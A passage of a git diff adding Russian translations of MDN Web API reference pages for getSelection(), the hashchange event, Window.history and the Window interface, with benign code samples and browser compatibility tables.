pseudo-element support{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}915{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}WP7 Mango{{CompatVersionUnknown}}{{CompatVersionUnknown}}
pseudo-element support{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

Спецификаци

+ + + +

Смотреть также

+ + diff --git a/files/ru/web/api/window/getselection/index.html b/files/ru/web/api/window/getselection/index.html new file mode 100644 index 0000000000..c3a4b16ab1 --- /dev/null +++ b/files/ru/web/api/window/getselection/index.html @@ -0,0 +1,142 @@ +--- +title: Window.getSelection() +slug: Web/API/Window/getSelection +translation_of: Web/API/Window/getSelection +--- +
{{ ApiRef() }}
+ +

Коротко

+ +

Метод возвращает объект {{domxref("Selection")}}, представленный в виде диапазона текста, который пользователь выделил на странице.

+ +

Синтаксис

+ +
selection = window.getSelection();
+ +

Значение

+ +

Объект {{domxref("Selection")}}.

+ +

При добавлении в параметр пустую строку или вспользовавшись методом {{jsxref("Selection.toString()")}} вам вернут строку, которую выделил пользователь.

+ +

Пример

+ +
function foo() {
+    var selObj = window.getSelection();
+    alert(selObj);
+    var selRange = selObj.getRangeAt(0);
+    // вернет диапазон Range
+}
+ +

Заметки

+ +

String representation of the Selection object

+ +

В JavaScript при попытке передать в функцию, принимающую строку (как на пример {{ Domxref("window.alert()") }} или же {{ Domxref("document.write()") }}), функция попробует сделать из любого параметра строку, даже если этот параметр явлется объектом, функцией со своими методами и свойствами.

+ +

В приведенном выше примере selObj.toString() автоматически задействуется, когда мы передаем в {{domxref("window.alert()")}} переменную selObj как параметр, который должен быть строкой. Однако мы не можем использовать свойства и метода объекта String, как на пример : length, substr. В следствии чего, вам необходимо будет применить вручную метод   toString(), как тут:

+ +
var selectedText = selObj.toString();
+ + + +

Родственные объекты

+ +

Вы так же можете использовать такой способ вызова {{domxref("Document.getSelection()")}}, который работает идентично {{domxref("Window.getSelection()")}}.

+ +

Поля ввода HTML (inputs) предоставляют более удобный API для работы с выделенным текстом (смотрите {{domxref("HTMLInputElement.setSelectionRange()")}}).

+ +

На заметку, разница между selection и focus. {{domxref("Document.activeElement")}}  - это то, что вернется элемент, который выделен (focused) .

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName("Selection API", "#extensions-to-window-interface", "Window.getSelection()")}}{{Spec2("Selection API")}}Новая специф.
{{SpecName("HTML Editing", "#dom-window-getselection", "Window.getSelection()")}}{{Spec2("HTML Editing")}}Начальное определение
+ +

Совместимость с браузером

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
ОсобенностьChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка{{ CompatVersionUnknown() }}{{CompatVersionUnknown}}{{ CompatVersionUnknown() }}9{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{ CompatUnknown() }}{{CompatVersionUnknown}}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/window/hashchange_event/index.html b/files/ru/web/api/window/hashchange_event/index.html new file mode 100644 index 0000000000..84087f124c --- /dev/null +++ b/files/ru/web/api/window/hashchange_event/index.html @@ -0,0 +1,159 @@ +--- +title: hashchange +slug: Web/API/Window/hashchange_event +translation_of: Web/API/Window/hashchange_event +--- +

Событие hashchange генерируется когда изменяется идентификатор фрагмента URL (т.е. часть URL следующая за символом #, включая сам символ #).

+ +

Общая информация

+ +
+
Спецификация
+
HTML5
+
Интерфейс
+
HashChangeEvent
+
Bubbles
+
Yes
+
Cancelable
+
No
+
Target
+
defaultView
+
Действие по умолчанию
+
None
+
+ +

Свойства

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}The browsing context (window).
type {{readonlyInline}}{{domxref("DOMString")}}The type of event.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Whether the event normally bubbles or not.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Whether the event is cancellable or not.
oldURL {{readonlyInline}}{{jsxref("String")}}The previous URL from which the window was navigated.
newURL {{readonlyInline}}{{jsxref("String")}} 
+ +

Совместимость с браузерами

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support5.0{{ CompatGeckoDesktop("1.9.2") }}
+ Support for the oldURL/newURL attributes added in Firefox 6.		8.0
+ oldURL/newURL attributes are not supported.		10.65.0
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support2.2{{ CompatGeckoMobile("1.9.2") }}9.011.05.0
+
+ +


+ There are several fallback scripts listed on this page. Basically those scripts check the location.hash at a regular interval. Here is a version that allows only one handler to be bound to the window.onhashchange property:

+ +
(function(window) {
+
+  // exit if the browser implements that event
+  if ( "onhashchange" in window.document.body ) { return; }
+
+  var location = window.location,
+    oldURL = location.href,
+    oldHash = location.hash;
+
+  // check the location hash on a 100ms interval
+  setInterval(function() {
+    var newURL = location.href,
+      newHash = location.hash;
+
+    // if the hash has changed and a handler has been bound...
+    if ( newHash != oldHash && typeof window.onhashchange === "function" ) {
+      // execute the handler
+      window.onhashchange({
+        type: "hashchange",
+        oldURL: oldURL,
+        newURL: newURL
+      });
+
+      oldURL = newURL;
+      oldHash = newHash;
+    }
+  }, 100);
+
+})(window);
+
+ +

Похожие события

+ + diff --git a/files/ru/web/api/window/history/index.html b/files/ru/web/api/window/history/index.html new file mode 100644 index 0000000000..982be2ef7e --- /dev/null +++ b/files/ru/web/api/window/history/index.html @@ -0,0 +1,51 @@ +--- +title: Window.history +slug: Web/API/Window/history +translation_of: Web/API/Window/history +--- +

{{ APIRef }}

+ +

Window.history является свойством только для чтения, ссылающимся на объект {{domxref("History")}}, который предоставляет интерфейс для манипулирования историей сессии браузера (страницы, посещенные в текущей вкладке или фрейме, который был загружен на текущей странице).

+ +

Смотрите Управление историей браузера для примеров и подробностей. В частности, та статья объясняет особенности безопасности методов pushState() и replaceState(), о которых вы должны быть в курсе перед их использованием.

+ +

Синтаксис

+ +
var historyObj = window.history;
+
+ +

Пример

+ +
history.back();     // эквивалент клика по кнопке назад
+history.go(-1);     // эквивалент history.back();
+
+ +

Замечания

+ +

Для последней загруженной страницы вы можете увидеть список предыдущих страниц, которые доступны через объект History, в выпадающем списке к кнопкам "назад" и "вперед".

+ +

По причинам безопасности объект History не позволяет непривелигерованному коду получать доступ к URL других страниц, но позволяет осуществлять навигацию по истории сессии.

+ +

Не существует способа очистить историю сессии или выключить навигацию посредствам кнопок "назад"/"вперед" из непривелигерованного кода. Наиболее близкое решение использовать метод location.replace(), который заменяет текущий пункт в истории сессии на предоставленный URL.

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарии
{{SpecName('HTML WHATWG', 'browsers.html#the-history-interface', 'The History interface')}}{{Spec2('HTML WHATWG')}} 
{{SpecName('HTML5 W3C', 'browsers.html#the-history-interface', 'The History interface')}}{{Spec2('HTML5 W3C')}} 
diff --git a/files/ru/web/api/window/index.html b/files/ru/web/api/window/index.html new file mode 100644 index 0000000000..d70c6e1a44 --- /dev/null +++ b/files/ru/web/api/window/index.html @@ -0,0 +1,457 @@ +--- +title: Window +slug: Web/API/Window +translation_of: Web/API/Window +--- +

{{APIRef}}

+ +

Объект window представляет собой окно, содержащее DOM документ; свойство document указывает на DOM document, загруженный в данном окне. Окно текущего документа может быть получено с помощью свойства {{Domxref("document.defaultView")}}.

+ +

Данный раздел содержит описание всех методов, свойств и событий, доступных через объект window DOM. Объект window реализует интерфейс Window, который наследуется от интерфейса AbstractView. Некоторые дополнительные глобальные функции, пространства имен объектов, интерфейсы и конструкторы, как правило, не связаные с окном, но доступные в нем, перечислены в JavaScript ссылки и DOM ссылки.

+ +

В браузерах, поддерживающих вкладки, таком как Firefox, каждая вкладка содержит свой собственный объект window (и если вы пишете расширение, окно браузера тоже является отдельным объектом window - см. Работа с окнами в chrome коде). Таким образом, объект window не разделяется между разными вкладками в одном и том же окне. Некоторые методы,  а именно {{Domxref("window.resizeTo")}} и {{Domxref("window.resizeBy")}} применяеются для всего окна и не принадлежат объекту window отдельной вкладки. Как правило, если что-то логически нельзя отнести ко вкладке, это относят к окну.

+ +

Свойства

+ +

Данный интерфейс наследует свойства из интерфейса {{domxref("EventTarget")}} и реализует свойства из {{domxref("WindowOrWorkerGlobalScope")}} и миксин {{domxref("WindowEventHandlers")}}.

+ +

Отметим, что свойства, являющиеся объектами (например, перезаписанные прототипы встроенных элементов), перечислены в отдельном разделе ниже.

+ +
+
{{domxref("Window.applicationCache")}} {{readOnlyInline}} {{gecko_minversion_inline("1.9")}}
+
Объект {{domxref("OfflineResourceList")}}, обеспечивающий для окна доступ к ресурсам вне сети.
+
{{domxref("Window.closed")}} {{Non-standard_inline}}{{readOnlyInline}}
+
Свойство, указывающее было ли текущее окно закрыто или нет.
+
{{domxref("Window.Components")}} {{Non-standard_inline}}
+
Точка доступа к богатому функционалу XPCOM. Некоторые свойства, т.к. classes, доступны только для достаточно привелегированного кода. Web-код не должен использовать эти свойства.
+
{{domxref("console","Window.console")}} {{Non-standard_inline}} {{ReadOnlyInline}}
+
Возвращает ссылку на объект консоли, обеспечивающего доступ к консоли браузера.
+
{{domxref("Window.content")}} and Window._content {{Non-standard_inline}} {{obsolete_inline}}{{ReadOnlyInline}}
+
Возвращает ссылку на элемент содержимого в текущем окне. Устаревший вариант в нижним подчеркиванием более не доступен для Web-содержимого.
+
{{domxref("Window.controllers")}}{{non-standard_inline}}{{ReadOnlyInline}}
+
Возвращает XUL контроллер объектов для текущего окна chrome.
+
{{domxref("Window.crypto")}} {{readOnlyInline}}
+
Возвращает зашифрованный объект браузера.
+
{{domxref("Window.defaultStatus")}} {{Obsolete_inline("gecko23")}}
+
Получает/устанавливает текст статус-бара для данного окна.
+
{{domxref("Window.devicePixelRatio")}} {{non-standard_inline}}{{ReadOnlyInline}}
+
Возвращает соотношение между физическими пикселями и пикселями на дисплее текущего устройства.
+
{{domxref("Window.dialogArguments")}} {{Fx_minversion_inline(3)}} {{ReadOnlyInline}}
+
Получает аргументы, переданные в окно (если это диалоговое окно) в момент вызова {{domxref("window.showModalDialog()")}}. Это {{Interface("nsIArray")}}.
+
{{domxref("Window.directories")}} {{obsolete_inline}}
+
Синоним {{domxref("window.personalbar")}}
+
{{domxref("Window.document")}} {{ReadOnlyInline}}
+
Возвращает ссылку на содержащийся в окне документ.
+
{{domxref("Window.frameElement")}} {{readOnlyInline}}
+
Возвращает элемент, в который встроено окно, или null, если оно не встроено.
+
{{domxref("Window.frames")}} {{readOnlyInline}}
+
Возвращает массив дополнительных фреймов в текущем окне.
+
{{domxref("Window.fullScreen")}} {{gecko_minversion_inline("1.9")}}
+
Это свойство указывает, отображается ли окно в полноэкранном режиме или нет.
+
{{domxref("Window.globalStorage")}} {{gecko_minversion_inline("1.8.1")}} {{Non-standard_inline}} {{Obsolete_inline("gecko13")}}
+
Не поддерживает с Gecko 13 (Firefox 13). Использовать вместо него{{domxref("Window.localStorage")}}. Было: Множественные объекты хранения, которые используются для хранения данных на нескольких страницах.
+
{{domxref("Window.history")}} {{ReadOnlyInline}}
+
Возвращает ссылку на объект истории.
+
{{domxref("Window.innerHeight")}}
+
Получает высоту области содержимого окна браузера, включая, если есть, горизонтальный скроллбар.
+
{{domxref("window.innerWidth")}}
+
Получает ширину области содержимого окна браузера, включая, если есть, вертикальный скроллбар.
+
{{domxref("Window.isSecureContext")}} {{readOnlyInline}}
+
Указывает, способен ли контекст использовать функционал, требующий безопасного контекста.
+
{{domxref("Window.length")}} {{readOnlyInline}}
+
Возвращает число фреймов в окне. Смотри так же {{domxref("window.frames")}}.
+
{{domxref("Window.location")}} {{ReadOnlyInline}}
+
Получает/устанавливает расположение или текущий URL для текущего объекта окна.
+
{{domxref("Window.locationbar")}} {{ReadOnlyInline}}
+
Возвращает объект locationbar, который может быть добавлен и убран из окна.
+
{{domxref("Window.localStorage")}} {{readOnlyInline}}{{gecko_minversion_inline("1.9.1")}}
+
Возвращает ссылку на локальный объект хранилища, используемый для хранения данных, которые могут быть доступны только первоисточникам, создавшим их.
+
{{domxref("Window.menubar")}} {{ReadOnlyInline}}
+
Возвращает объект menubar, который может быть добавлен и убран из окна.
+
{{domxref("Window.messageManager")}} {{gecko_minversion_inline("2.0")}}
+
Возвращает объект message manager для окна.
+
{{domxref("Window.mozAnimationStartTime")}} {{ReadOnlyInline}}{{gecko_minversion_inline("2.0")}}
+
Время в миллисекундах с момента начала цикла данной анимации.
+
{{domxref("Window.mozInnerScreenX")}} {{ReadOnlyInline}}{{non-standard_inline}}{{gecko_minversion_inline("1.9.2")}}
+
Возвращает горизонтальную (X) координату верхнего левого угла окна просмотра в экранных координатах. Значение возвращается в CSS-пикселях. Смотри mozScreenPixelsPerCSSPixel в {{interface("nsIDOMWindowUtils")}} для конвертирования и адаптирования к экранным пикселям, если необходимо.
+
{{domxref("Window.mozInnerScreenY")}} {{ReadOnlyInline}} {{non-standard_inline}}{{gecko_minversion_inline("1.9.2")}}
+
Возвращает вертикальные (Y) координаты верхнего левого угла окна просмотра в экранных координатах. Значение возвращается в CSS-пикселях. Смотри mozScreenPixelsPerCSSPixel для конвертирования и адаптирования к экранным пикселям, если необходимо.
+
{{domxref("Window.mozPaintCount")}} {{non-standard_inline}}{{ReadOnlyInline}} {{gecko_minversion_inline("2.0")}}
+
Возвращает количество раз, за которые текущий документ был отрендерен для текущего экрана в этом окне. Может быть использовано для подсчета скорости преобразования.
+
{{domxref("Window.name")}}
+
Получает/устанавливает имя для окна.
+
{{domxref("Window.navigator")}} {{readOnlyInline}}
+
Возвращает ссылку на объект навигатора.
+
{{domxref("Window.opener")}}
+
Возвращает ссылку на окно, открывшее текущее окно.
+
{{domxref("Window.orientation")}}{{non-standard_inline}}{{deprecated_inline}}{{readOnlyInline}}
+
Возвращает ориентировку в градусах (с увеличением на 90 градусов) окна просмотра относительно настоящей ориентировки устройства.
+
{{domxref("Window.outerHeight")}} {{readOnlyInline}}
+
Получает высоту вместе с внешней частью браузерного окна.
+
{{domxref("Window.outerWidth")}} {{readOnlyInline}}
+
Получает ширину вместе с внешней частью браузерного окна.
+
{{domxref("Window.scrollX","Window.pageXOffset")}} {{readOnlyInline}}
+
Псевдоним для {{domxref("window.scrollX")}}.
+
{{domxref("Window.scrollY","Window.pageYOffset")}}{{readOnlyInline}}
+
Псевдоним для {{domxref("window.scrollY")}}
+
{{domxref("Window.sessionStorage")}} {{readOnlyInline}}
+
Возвращает ссылку на объект хранения сессии, используемый для хранения данных, которые могут быть получены только источником, создавшим их.
+
{{domxref("Window.parent")}} {{readOnlyInline}}
+
Возвращает ссылку на родителя текущего окна или встроеного фрейма.
+
{{domxref("Window.performance")}} {{readOnlyInline}}
+
Обеспечивает главенствующее пространство для аттрибутов, относящихся к производительности.
+
{{domxref("Window.personalbar")}} {{readOnlyInline}}
+
Возвращает объект personalbar, который может быть добавлен и убран из окна.
+
{{domxref("Window.pkcs11")}} {{obsolete_inline(29)}}
+
Раньше предоставлял доступ к установке и удалению PKCS11 модуля.
+
{{domxref("Window.returnValue")}} {{Fx_minversion_inline(3)}}
+
Возвращаемое значение, которое будет передано в функцию, которая вызвала {{domxref("window.showModalDialog()")}} для отображения окна как модального диалога.
+
{{domxref("Window.screen")}} {{readOnlyInline}}
+
Возвращает ссылку на объект экрана, ассоциируемый с окном.
+
{{domxref("Window.screenX")}} {{readOnlyInline}}
+
Возвращает горизонтальный размер левой рамки браузера пользователя с левой стороны экрана.
+
{{domxref("Window.screenY")}} {{readOnlyInline}}
+
Возвращает вертикальный размер верхней рамки браузера пользователя с верхней стороны экрана.
+
{{domxref("Window.scrollbars")}} {{readOnlyInline}}
+
Возвращает объект scrollbars, который может быть добавлен и убран из окна.
+
{{domxref("Window.scrollMaxX")}}{{non-standard_inline}}{{ReadOnlyInline}}
+
Максимальный отступ, на который может быть проскроллено окно по горизонтали, состоящее из разницы ширины документа и ширины области просмотра.
+
{{domxref("Window.scrollMaxY")}}{{non-standard_inline}}{{ReadOnlyInline}}
+
Максимальный отступ, на который может быть проскроллено окно по вертикали, (т.е., разница высоты документа и высоты области просмотра).
+
{{domxref("Window.scrollX")}} {{readOnlyInline}}
+
Возвращает число пикселей, на которое документ уже был проскроллен по горизонтали.
+
{{domxref("Window.scrollY")}} {{readOnlyInline}}
+
Возвращает число пикселей, на которое документ уже был проскроллен по вертикали.
+
{{domxref("Window.self")}} {{ReadOnlyInline}}
+
Возвращает ссылку на самого себя.
+
{{domxref("Window.sessionStorage")}} {{Fx_minversion_inline("2.0")}}
+
Возвращает объект хранилища для данных в пределах сессии одной страницы.
+
{{domxref("Window.sidebar")}} {{non-standard_inline}}{{ReadOnlyInline}}
+
Возвращает ссылку на объект окна sidebar.
+
{{domxref("Window.speechSynthesis")}} {{ReadOnlyInline}}
+
Возвращает объект {{domxref("SpeechSynthesis")}}, который является точкой входа для использования Web Speech API, функционала для речевого синтеза.
+
{{domxref("Window.status")}}
+
Получает/устанавливает тект в statusbar внизу браузера.
+
{{domxref("Window.statusbar")}} {{readOnlyInline}}
+
Возвращает объект statusbar, который может быть добавлен и убран из окна.
+
{{domxref("Window.toolbar")}} {{readOnlyInline}}
+
Возвращает объект toolbar, который может быть добавлен и убран из окна.
+
{{domxref("Window.top")}} {{readOnlyInline}}
+
Возвращает ссылку на самое первое окно в иерархии текущих окон. Только для чтения.
+
{{domxref("Window.window")}} {{ReadOnlyInline}}
+
Возвращает ссылку на текущее окно.
+
window[0], window[1], etc.
+
Возвращает ссылку на объект окна во фреймах. Смотри {{domxref("Window.frames")}}.
+
+ +

Свойства,  реализованные из других мест

+ +
+
{{domxref("WindowOrWorkerGlobalScope.caches")}} {{readOnlyinline}}
+
Возвращает объект {{domxref("CacheStorage")}}, связанный с текущим контекстом. Этот объект добавляет такой функционал как хранение ресурсов для использования вне сети и генерирования встроенных ответов на запросы.
+
{{domxref("WindowOrWorkerGlobalScope.indexedDB")}} {{readonlyInline}}
+
Обеспечивает механизм для приложений для возможности асинхронного доступа индексированных баз данных; возвращает объект {{domxref("IDBFactory")}}.
+
{{domxref("WindowOrWorkerGlobalScope.isSecureContext")}} {{readOnlyinline}}
+
Возвращает булеановское занчение, указывающее является ли текущий контент безопасным (true) или нет (false).
+
{{domxref("WindowOrWorkerGlobalScope.origin")}} {{readOnlyinline}}
+
Возаращает источник глобального объекта, преобразованного в строку. (Это свойство пока еще не существует, поэтому не может быть использовано в браузерах.)
+
+ +

Методы

+ +

Этот интерфейс наследует методы от интерфейса {{domxref("EventTarget")}}  и реализует свойства {{domxref("WindowOrWorkerGlobalScope")}} и {{domxref("EventTarget")}}.

+ +
+
{{domxref("Window.alert()")}}
+
Отображает предупреждающее диалоговое окно.
+
{{domxref("Window.back()")}} {{Non-standard_inline}} {{obsolete_inline}}
+
Возвращается на один шаг назад в истории окна.
+
{{domxref("Window.blur()")}}
+
Убирает фокус с окна.
+
{{domxref("Window.cancelIdleCallback()")}} {{experimental_inline}}
+
Позволяет отменить функцию обратного вызова прежде чем определить расписание ее выозва с {{domxref("Window.requestIdleCallback")}}.
+
{{domxref("Window.captureEvents()")}} {{Deprecated_inline}}
+
Регестрирует окно, которое будет перехватывать все события опереденного типа.
+
{{domxref("Window.clearImmediate()")}}
+
Отменяет повторяющееся исполнение, установленное с помощью setImmediate.
+
{{domxref("WindowTimers.clearInterval()")}}
+
Отменяет повторяющееся исполнене, установленное с помощью {{domxref("WindowTimers.setInterval()")}}.
+
{{domxref("WindowTimers.clearTimeout()")}}
+
Отменяет повторяющееся исполнене, установленное с помощью {{domxref("WindowTimers.setTimeout()")}}.
+
{{domxref("Window.close()")}}
+
Закрывает текущее окно.
+
{{domxref("Window.confirm()")}}
+
Отображает диалог с сообщением, на которое пользователь должен ответить.
+
{{domxref("Window.disableExternalCapture()")}} {{obsolete_inline(24)}}
+
{{todo("NeedsContents")}}
+
{{domxref("Window.dispatchEvent()")}}
+
Используется для вызова события.
+
{{domxref("Window.dump()")}}
+
Отправляет сообщение в консоль.
+
{{domxref("Window.enableExternalCapture()")}} {{obsolete_inline(24)}}
+
{{todo("NeedsContents")}}
+
{{domxref("Window.find()")}}
+
Ищет необходимую строку в окне window.
+
{{domxref("Window.focus()")}}
+
Устанавливает фокус на текущем окне.
+
{{domxref("Window.forward()")}} {{Non-standard_inline}} {{obsolete_inline}}
+
Переходит на один документ вперед в текущей истории окна.
+
{{domxref("Window.getAttention()")}}
+
Заставляет мигать иконку приложения.
+
{{domxref("Window.getAttentionWithCycleCount()")}}
+
{{todo("NeedsContents")}}
+
{{domxref("Window.getComputedStyle()")}}
+
Получает подсчитанные стили для определенного элемента. Подсичтанные стили включают подсчитанные занчения всех CSS свойств элемента.
+
{{domxref("Window.getDefaulComputedStyle()")}}
+
Получает подсчитанные стили по умолчанию для определенного элемента, игнорируя авторские стили.
+
{{domxref("Window.getSelection()")}}
+
Возвращает выбранный объект, представляющий выбранный элемент(ы).
+
{{domxref("Window.home()")}} {{Non-standard_inline}} {{obsolete_inline}}
+
Возаращает браузер на домашнюю страницу.
+
{{domxref("Window.matchMedia()")}} {{gecko_minversion_inline("6.0")}}
+
Возвращает объект {{domxref("MediaQueryList")}}, представляющий указанную строку медиа-запроса.
+
{{domxref("Window.maximize()")}}
+
{{todo("NeedsContents")}}
+
{{domxref("Window.minimize()")}} (top-level XUL windows only)
+
Минимизирует окно.
+
{{domxref("Window.moveBy()")}}
+
Сдвигает текущее окно на определенное значение.
+
{{domxref("Window.moveTo()")}}
+
Сдвигает окно до определенных координат.
+
{{domxref("Window.mozRequestAnimationFrame()")}} {{gecko_minversion_inline("2.0")}}
+
Cообщает браузеру, что анимация находится в прогрессе, требуя, чтобы браузер определил время перерисовки окна для следующего анимационного фрейма. Это вызовет событие  MozBeforePaint, прежде чем произойдет перерисовка .
+
{{domxref("Window.open()")}}
+
Открывает новое окно.
+
{{domxref("Window.openDialog()")}}
+
Opens a new dialog window.
+
{{domxref("Window.postMessage()")}} {{Fx_minversion_inline(3)}}
+
Предоставляет безопасный способ для одного окна передать строку с данными в другое окно, которое должно находиться в пределах того же домена, что и первое.
+
{{domxref("Window.print()")}}
+
Открывет Print Dialog для распечатки текущего документа.
+
{{domxref("Window.prompt()")}}
+
Возвращает текст, введенный пользователем в диалоге подсказки.
+
{{domxref("Window.releaseEvents()")}} {{Deprecated_inline}}
+
Возвращает окно с захваченных событий определенного типа.
+
{{domxref("element.removeEventListener","Window.removeEventListener()")}}
+
Удаляет слушателя события из окна.
+
{{domxref("Window.requestIdleCallback()")}}  {{experimental_inline}}
+
Позволяет назначить раписание задачь во время периода простоя браузера.
+
{{domxref("Window.resizeBy()")}}
+
Меняет размер текущего окна на определенное число.
+
{{domxref("Window.resizeTo()")}}
+
Динамически меняет размер окна.
+
{{domxref("Window.restore()")}}
+
{{todo("NeedsContents")}}
+
{{domxref("Window.routeEvent()")}} {{obsolete_inline(24)}}
+
{{todo("NeedsContents")}}
+
{{domxref("Window.scroll()")}}
+
Scrolls the window to a particular place in the document.
+
{{domxref("Window.scrollBy()")}}
+
Прокручивает документ в окна на данное число.
+
{{domxref("Window.scrollByLines()")}}
+
Прокурчивает документ на данное число строк.
+
{{domxref("Window.scrollByPages()")}}
+
Прокурчивает документ на данное число стараниц.
+
{{domxref("Window.scrollTo()")}}
+
Прокручивает до заданных координат в документе.
+
{{domxref("Window.setCursor()")}}
+
Меняет курсор для текущего окна.
+
{{domxref("Window.setImmediate()")}}
+
Исполняет функцию после того, как браузер некую тяжелую задачу.
+
{{domxref("WindowTimers.setInterval()")}}
+
Назначает выполнение функции каждые X миллисекунд.
+
{{domxref("Window.setResizable")}}
+
{{todo("NeedsContents")}}
+
{{domxref("WindowTimers.setTimeout()")}}
+
Устанавливает отложенное выполнение функции.
+
{{domxref("Window.showModalDialog()")}} {{Fx_minversion_inline(3)}}
+
Отображает модальный диалог.
+
{{domxref("Window.sizeToContent()")}}
+
Подгоняет размер окна под его содержимое.
+
{{domxref("Window.stop()")}}
+
Останавливает загрузку страницы.
+
{{domxref("Window.updateCommands()")}}
+
Обновляет состояние команд текущего окна chrome (UI).
+
+

Методы, реализованные из других мест

+
+
{{domxref("EventTarget.addEventListener()")}}
+
Регестрирует обработчики опреленного типа событий в окне.
+
{{domxref("WindowOrWorkerGlobalScope.atob()")}}
+
Декодирует строку данных, которая была закодирована, используя кодировку base-64.
+
{{domxref("WindowOrWorkerGlobalScope.btoa()")}}
+
Создаеь закодированную base-64 ASCII строку из строки бинарных данных.
+
{{domxref("WindowOrWorkerGlobalScope.clearInterval()")}}
+
Отменяет повторяющееся исполнение, установленного с помощью {{domxref("WindowOrWorkerGlobalScope.setInterval()")}}.
+
{{domxref("WindowOrWorkerGlobalScope.clearTimeout()")}}
+
Отменяет отложенное исполнение, установленного с   {{domxref("WindowOrWorkerGlobalScope.setTimeout()")}}.
+
{{domxref("WindowOrWorkerGlobalScope.createImageBitmap()")}}
+
Принимает множество различных изображений и возвращает {{domxref("Promise")}}, который возвращает {{domxref("ImageBitmap")}}. Опционально ресурс может быть обрезан до прямоугольника, заданного в пикселях (sx, sy) с шириной sw и высотой sh.
+
{{domxref("WindowOrWorkerGlobalScope.fetch()")}}
+
Начинает процесс загрузки ресурса из сети.
+
{{domxref("EventTarget.removeEventListener")}}
+
Удаляет слушателя события из окна.
+
{{domxref("WindowOrWorkerGlobalScope.setInterval()")}}
+
Устанавливает раписание для исполнения функции каждый раз через заданное число миллисекунд.
+
{{domxref("WindowOrWorkerGlobalScope.setTimeout()")}}
+
Устанавливает расписание для исполнения функции в назначенное время.
+
+ +

Обработчики событий

+ +

Это методы объекта window, которые могут устанавливаться для перехвата всех событий, которые могут происходить с объектом window.

+ +

Интерфейс наследует обработчики событий от {{domxref("EventTarget")}} интерфейса и реализует обработчики событий {{domxref("WindowEventHandlers")}}.

+ +
+

Замета: Начиная с {{Gecko("9.0")}}, вы можете использовать синтаксис if ("onabort" in window), чтобы определить существует ли обработчик данного события. Интерфейсы обработчиков событий были обновлеы таким образом, чтобы соответсовать web IDL интерфейсам. Смотри обработчики собыйти DOM для деталей.

+
+ +
+
{{domxref("GlobalEventHandlers.onabort")}}
+
Обработчик события для отмены событий в окне.
+
{{domxref("WindowEventHandlers.onafterprint")}}
+
Вызывается, когда закрывается диалоговое окно распечатки. Смотри событие {{event("afterprint")}}.
+
{{domxref("WindowEventHandlers.onbeforeprint")}}
+
Вызывается, когда открывается диалоговое окно распечатки. Смотри событие {{event("beforeprint")}}.
+
{{domxref("Window.onbeforeinstallprompt")}}
+
Событие вызывается прежде чем пользователь согласится сохранить сайт на домашний экран на мобильном устройстве.
+
{{domxref("WindowEventHandlers.onbeforeunload")}}
+
Событие вызывается перед удалением события из окна.
+
{{domxref("GlobalEventHandlers.onblur")}}
+
Свойство обработчика событий для исчезновение фокуса на окне.
+
{{domxref("GlobalEventHandlers.onchange")}}
+
Свойство обработчика событий для изменения в окне.
+
{{domxref("GlobalEventHandlers.onclick")}}
+
Свойство обработчика событий для клика в окне.
+
{{domxref("GlobalEventHandlers.ondblclick")}}
+
Вызывается, когда был сделан двойной клик ЛЮБОЙ кнопкой мыши.
+
{{domxref("GlobalEventHandlers.onclose")}}
+
Свойство обработчика событий для обработки закрытия окна.
+
{{domxref("GlobalEventHandlers.oncontextmenu")}}
+
Свойство обработчика событий для правого клика в окне.
+
{{domxref("Window.ondevicelight")}}
+
Свойство обработчика событий для отслеживания изменения уровня света.
+
{domxref("Window.ondevicemotion")}} {{gecko_minversion_inline("6.0")}}
+
Вызывается, если было определено изменение акселерометра (для мобильных устройств).
+
{{domxref("Window.ondeviceorientation")}} {{gecko_minversion_inline("6.0")}}
+
Вызывается, когда была изменена ориентация (для мобильных устройств).
+
{{domxref("Window.ondeviceorientation")}} {{gecko_minversion_inline("6.0")}}
+
Свойство обработчика событий для смены ориентации любого устройства.
+
{{domxref("Window.ondeviceproximity")}}
+
Свойство обработчика событий для определения близости устройства.
+
{{domxref("GlobalEventHandlers.onerror")}}
+
Свойство обработчика событий для события {{event("error")}}, возникшего в окне.
+
{{domxref("GlobalEventHandlers.onfocus")}}
+
Свойство обработчика событий для события {{event("focus")}} в окне.
+
{{domxref("WindowEventHandlers.onhashchange")}} {{gecko_minversion_inline("1.9.2")}}
+
Свойство обработчика событий для отлова изменения хэша в окне; вызывается, когда часть URL после ("#") была изменена.
+
{{domxref("Window.onappinstalled")}}
+
Вызывается, когда страница установлена, как приложение. Смотри {{event('appinstalled')}} событие.
+
{{domxref("Window.oninput")}}
+
Вызывается, когда значение элемента <input> было изменено.
+
{{domxref("GlobalEventHandlers.onkeydown")}}
+
Свойство обработчика событий для события {{event("keydown")}} в окне.
+
{{domxref("GlobalEventHandlers.onkeypress")}}
+
Свойство обработчика событий для события {{event("keypress")}} в окне.
+
